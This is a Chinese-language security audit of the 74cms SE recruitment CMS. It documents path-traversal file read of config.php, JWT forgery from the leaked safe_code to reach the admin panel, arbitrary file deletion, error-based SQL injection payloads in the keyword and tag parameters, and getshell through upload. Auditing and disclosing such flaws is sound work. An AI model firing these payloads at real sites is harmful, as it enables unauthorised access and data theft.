0x00 基本信息

简介

74cms_SE版,就是6.0的升级版本,现在不让下载6.0了

文件hash

必选项

  • 97db77486974910c21ba608e1709e092

文件存储

必选项

  • https://pan.baidu.com/s/1JMui8MLYcHNg2VZm24qD2w

cms指纹

可选项,后期必选


源码相关

  • 官方网站:https://www.74cms.com/

cms名字

必选项,实际名字或者化名

  • 骑士cms3.5.1
  • 最新版3.9.0

关联平台

类似第三方支付平台

0x01 基本流程

基于tp35框架的,其他信息就不多说了

0x02 代码审计

任意文件读取

前台任意文件读取

1658116547805

这里没有什么限制,直接读就可以

1
index/download/index?url=../../application/config.php

此漏洞已经被修复,修复方式如下

1658116879708

可以看到是检查了../,如果在windows下还可以用..\来进行文件读取

这里可以配合读取配置文件,获取safe_code,这个参数是jwt加密用的,可以直接伪造进入后台

1658125878672

1658125950360

后台任意文件读取

这里并非直接可控的

1658116712118

但是此参数可以在后台设置

1658116773309

利用也挺简单,不展示

任意文件删除

代码处于model文件中,

1658121300949

在controller中调用,完全可控

1658121335853

SQL注入

记录前台,后台不记录

keyword参数SQL注入

此参数的注入存在多处

  • index/Jobfairol/resumelist
  • v1_0/home/Jobfairol/resumelist
  • index/Resume/index

index/Jobfairol/resumelist为例,代码如下

可以看到的是最好别有空格,

1658122102808

构造payload

1
/index.php/index/jobfairol/resumelist?jobfair_id=1&keyword=1'))/**/or/**/(select/**/updatexml(1,concat(0x7e,user()),1))%23

1658122345342

此漏洞官方已修复

修复方式如下

1658122501174

tag参数SQL注入

1658122438157

看看下面的处理,首先对tag进行分组

1658122541614

继续跟进代码

1658122567952

在这个类的初始化方法中会逐步调用到_set_tag方法

1658122622208

在此方法中进行拼接

1658122693505

漏洞复现

这里对路由进行了定义

1658122994970

1
/index.php/job/tag/aaa',`tag`)) or updatexml(1,concat(0x7e,user()),1)%23

1658123210925

注意的是,这里是thinkphp5.0.24版本,如下写法是不存在注入的哪怕数据完全可控

1
where('id',$id)

相关的地方有

1658130481721

会报如下错误

1658130501936

还有一处在base中

1658130528129

后台getshell

文件上传

后台可以修改后缀直接上传

0x03 end

这是对之前74cms的补充